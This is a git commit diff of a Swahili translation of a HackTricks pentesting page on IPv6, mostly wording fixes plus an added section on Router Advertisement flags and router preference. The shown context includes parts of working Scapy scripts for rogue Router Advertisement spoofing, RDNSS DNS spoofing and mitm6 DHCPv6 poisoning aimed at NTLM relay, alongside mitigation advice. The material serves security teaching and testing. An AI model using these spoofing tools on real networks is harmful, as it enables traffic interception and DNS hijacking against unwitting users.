Translated ['src/generic-methodologies-and-resources/pentesting-network/

This commit is contained in:
Translator 2025-08-20 10:32:06 +00:00
parent ab3014a198
commit 5cd19b4c7a

View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
## IPv6 Msingi wa Nadharia
## IPv6 Msingi wa nadharia
### Mitandao
@ -50,17 +50,17 @@ Kutoa anwani ya MAC **`12:34:56:78:9a:bc`**, unaweza kujenga anwani ya Link-loca
### **Aina za Anwani za IPv6**
- **Unique Local Address (ULA)**: Kwa mawasiliano ya ndani, si kwa ajili ya usafirishaji wa umma wa intaneti. Kichwa: **`FEC00::/7`**
- **Multicast Address**: Kwa mawasiliano moja-kwa-mengi. Inatumwa kwa interfaces zote katika kundi la multicast. Kichwa: **`FF00::/8`**
- **Anycast Address**: Kwa mawasiliano moja-kwa-karibu. Inatumwa kwa interface iliyo karibu kulingana na itifaki ya usafirishaji. Sehemu ya anuwai ya **`2000::/3`** ya unicast ya kimataifa.
- **Anwani ya Kawaida ya Mitaa (ULA)**: Kwa mawasiliano ya ndani, si kwa ajili ya usafirishaji wa umma wa intaneti. Kichwa: **`FEC00::/7`**
- **Anwani ya Multicast**: Kwa mawasiliano moja-kwa-mengi. Inatumwa kwa interfaces zote katika kundi la multicast. Kichwa: **`FF00::/8`**
- **Anwani ya Anycast**: Kwa mawasiliano moja-kwa-karibu. Inatumwa kwa interface iliyo karibu kulingana na itifaki ya usafirishaji. Ni sehemu ya anuwai ya **`2000::/3`** ya unicast wa kimataifa.
### **Kichwa cha Anwani**
### **Vichwa vya Anwani**
- **fe80::/10**: Anwani za Link-Local (sawa na 169.254.x.x)
- **fc00::/7**: Unique Local-Unicast (sawa na anuwai za kibinafsi za IPv4 kama 10.x.x.x, 172.16.x.x, 192.168.x.x)
- **2000::/3**: Global Unicast
- **ff02::1**: Multicast All Nodes
- **ff02::2**: Multicast Router Nodes
- **fc00::/7**: Unicast ya Kawaida ya Mitaa (sawa na anuwai za kibinafsi za IPv4 kama 10.x.x.x, 172.16.x.x, 192.168.x.x)
- **2000::/3**: Unicast wa Kimataifa
- **ff02::1**: Multicast kwa Nodes Zote
- **ff02::2**: Multicast kwa Nodes za Router
### **Kugundua Anwani za IPv6 ndani ya Mtandao**
@ -112,7 +112,7 @@ Sehemu zifuatazo zinashughulikia mashambulizi halisi ya layer-2 ya IPv6 ambayo y
### Kurekebisha Mfumo kwa Maabara Imara
Kabla ya kucheza na trafiki ya IPv6, inapendekezwa kuimarisha sanduku lako ili kuepuka kuathiriwa na majaribio yako mwenyewe na kupata utendaji bora wakati wa kuingiza/kusikiliza pakiti nyingi.
Kabla ya kucheza na trafiki ya IPv6 inashauriwa kuimarisha sanduku lako ili kuepuka kuathiriwa na majaribio yako mwenyewe na kupata utendaji bora wakati wa kuingiza/kusikiliza pakiti nyingi.
```bash
# Enable promiscuous mode to capture all frames
sudo ip link set dev eth0 promisc on
@ -128,7 +128,7 @@ sudo sysctl -w net.ipv4.tcp_tw_reuse=1
```
### Passive NDP & DHCPv6 Sniffing
Kwa sababu kila mwenyeji wa IPv6 **anajiunga kiotomatiki na vikundi vingi vya multicast** (`ff02::1`, `ff02::2`, …) na anazungumza ICMPv6 kwa SLAAC/NDP, unaweza kuchora ramani ya sehemu nzima bila kutuma pakiti hata moja. Mstari mmoja ufuatao wa Python/Scapy unasikiliza ujumbe wa L2 wenye kuvutia zaidi na kuchapisha kumbukumbu yenye rangi, iliyo na muda wa nani ni nani:
Kwa sababu kila mwenyeji wa IPv6 **anajiunga kiotomatiki na vikundi vingi vya multicast** (`ff02::1`, `ff02::2`, …) na anazungumza ICMPv6 kwa SLAAC/NDP, unaweza kubaini sehemu nzima bila kutuma pakiti hata moja. Mfuatano huu wa Python/Scapy unakusikiliza ujumbe wa L2 wenye kuvutia zaidi na kuchapisha kumbukumbu yenye rangi na alama ya wakati ya nani ni nani:
```python
#!/usr/bin/env python3
from scapy.all import *
@ -197,9 +197,9 @@ sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0)
```
Matokeo: muundo kamili wa **link-local topology** (MAC ⇄ IPv6) ndani ya sekunde chache, bila kuanzisha mifumo ya IPS/IDS inayotegemea skana za kazi.
### Ulaghai wa Matangazo ya Router (RA)
### Router Advertisement (RA) Spoofing
Mikondo ya IPv6 inategemea **ICMPv6 Router Advertisements** kwa ajili ya kugundua lango la chaguo-msingi. Ikiwa utaingiza RAs za uongo **zaidi ya mara** kuliko router halali, vifaa vitabadilisha kimya kimya kwako kama lango.
IPv6 hosts zinategemea **ICMPv6 Router Advertisements** kwa ajili ya kugundua default-gateway. Ikiwa utaingiza RAs za uongo **zaidi ya mara** kuliko router halali, vifaa vitabadilisha kimya kimya kwako kama gateway.
```python
#!/usr/bin/env python3
from scapy.all import *
@ -227,9 +227,36 @@ sudo sysctl -w net.ipv6.conf.all.forwarding=1
sudo ip6tables -A FORWARD -i eth0 -j ACCEPT
sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
```
#### Router Advertisement Flags (M/O) & Default Router Preference (Prf)
| Flag | Meaning | Effect on Client Behaviour |
|------|---------|----------------------------|
| **M (Managed Address Configuration)** | Wakati umewekwa kuwa `1` mwenyeji LAZIMA atumie **DHCPv6** kupata anwani yake ya IPv6. | Anwani nzima inatoka kwa DHCPv6 bora kwa *mitm6* mtindo wa sumu. |
| **O (Other Configuration)** | Wakati umewekwa kuwa `1` mwenyeji anapaswa kutumia **DHCPv6** tu kupata *maelezo mengine* (DNS, NTP, …). | Anwani bado kupitia SLAAC, lakini DNS inaweza kutekwa na DHCPv6. |
| **M=0 / O=0** | Mtandao safi wa SLAAC. | Njia za RA / RDNSS pekee zinaweza kufanyika DHCPv6 haitatumwa na wateja. |
| **M=1 / O=1** | Mazingira mchanganyiko. | Zote DHCPv6 na SLAAC zinatumika; uso wa kudanganya ni mkubwa zaidi. |
Wakati wa pentest unaweza kuchunguza RA halali mara moja na kuamua ni vector ipi inayowezekana:
```bash
sudo tcpdump -vvv -i eth0 'icmp6 && ip6[40] == 134' # capture Router Advertisements
```
Tafuta uwanja wa `flags [M,O]` katika dump - hakuna makisio yanayohitajika.
Uwanja wa **Prf** (Router Preference) ndani ya kichwa cha RA unadhibiti jinsi router yako ya uasi inavyoonekana kuvutia wakati *gateway* nyingi zipo:
| Prf value | Binary | Meaning |
|-----------|--------|---------|
| **High** | `10` | Wateja wanapendelea router hii kuliko yoyote *Medium*/*Low* |
| Medium (default) | `01` | Inatumika na karibu kila kifaa halali |
| Low | `00` | Inachaguliwa tu wakati hakuna router bora zaidi |
Unapozalisha pakiti na Scapy unaweza kuipanga kupitia parameter ya `prf` kama ilivyoonyeshwa hapo juu (`prf=0x1` → High). Kuunganisha **High Prf**, **kipindi kifupi**, na **muda usio sifuri** kunafanya gateway yako ya uasi kuwa thabiti sana.
---
### RDNSS (DNS) Spoofing kupitia RA
[RFC 8106](https://datatracker.ietf.org/doc/html/rfc8106) inaruhusu kuongeza chaguo la **Recursive DNS Server (RDNSS)** ndani ya RA. Mfumo wa uendeshaji wa kisasa (Win 10 ≥1709, Win 11, macOS Big Sur, Linux systemd-resolved, …) unakubali moja kwa moja:
[RFC 8106](https://datatracker.ietf.org/doc/html/rfc8106) inaruhusu kuongeza chaguo la **Recursive DNS Server (RDNSS)** ndani ya RA. Mfumo wa kisasa (Win 10 ≥1709, Win 11, macOS Big Sur, Linux systemd-resolved, …) kwa otomatiki unakubali.
```python
#!/usr/bin/env python3
from scapy.all import *
@ -249,16 +276,16 @@ ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime))
send(ra,iface=args.interface,loop=1,inter=args.interval)
```
Wateja wata **ongeza** DNS yako kwenye orodha yao ya resolver kwa muda uliotolewa, wakitoa hijacking kamili ya DNS hadi thamani ipotee au utume `lifetime=0` kurejea.
Clients will **prepend** your DNS to their resolver list for the given lifetime, granting full DNS hijacking until the value expires or you send a `lifetime=0` revert.
### DHCPv6 DNS Spoofing (mitm6)
Badala ya SLAAC, mitandao ya Windows mara nyingi inategemea **stateless DHCPv6** kwa DNS. [mitm6](https://github.com/rofl0r/mitm6) inajibu kiotomatiki kwa ujumbe wa `Solicit` kwa mtiririko wa **Advertise → Reply** ambao unatoa **anwani yako ya link-local kama DNS kwa sekunde 300**. Hii inafungua:
Badala ya SLAAC, mitandao ya Windows mara nyingi inategemea **stateless DHCPv6** kwa ajili ya DNS. [mitm6](https://github.com/rofl0r/mitm6) inajibu kiotomatiki kwa ujumbe wa `Solicit` kwa mtiririko wa **Advertise → Reply** ambao unateua **anwani yako ya link-local kama DNS kwa sekunde 300**. Hii inafungua:
* Mashambulizi ya NTLM relay (WPAD + DNS hijacking)
* NTLM relay attacks (WPAD + DNS hijacking)
* Kukamata ufumbuzi wa majina ya ndani bila kugusa routers
Matumizi ya kawaida:
Typical usage:
```bash
sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning
```
@ -267,7 +294,7 @@ sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning
* **RA Guard / DHCPv6 Guard / ND Inspection** kwenye swichi zinazodhibitiwa.
* Port ACLs zinazoruhusu tu MAC halali ya router kutuma RAs.
* Fuatilia **RAs zenye kiwango cha juu zisizo thabiti** au mabadiliko ya ghafla ya **RDNSS**.
* Kuzima IPv6 kwenye mwisho ni suluhisho la muda ambalo mara nyingi linaweza kuvunja huduma za kisasa na kuficha maeneo yasiyoonekana pendelea kuchuja L2 badala yake.
* Kuzima IPv6 kwenye vituo ni suluhisho la muda ambalo mara nyingi linaweza kuvunja huduma za kisasa na kuficha maeneo yasiyoonekana pendelea kuchuja L2 badala yake.
## Marejeo
@ -276,5 +303,6 @@ sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning
- [RFC 8106 IPv6 ND DNS Configuration](https://datatracker.ietf.org/doc/html/rfc8106)
- [http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html](http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html)
- [https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904](https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904)
- [Practical Guide to IPv6 Attacks in a Local Network](https://habr.com/ru/articles/930526/)
{{#include ../../banners/hacktricks-training.md}}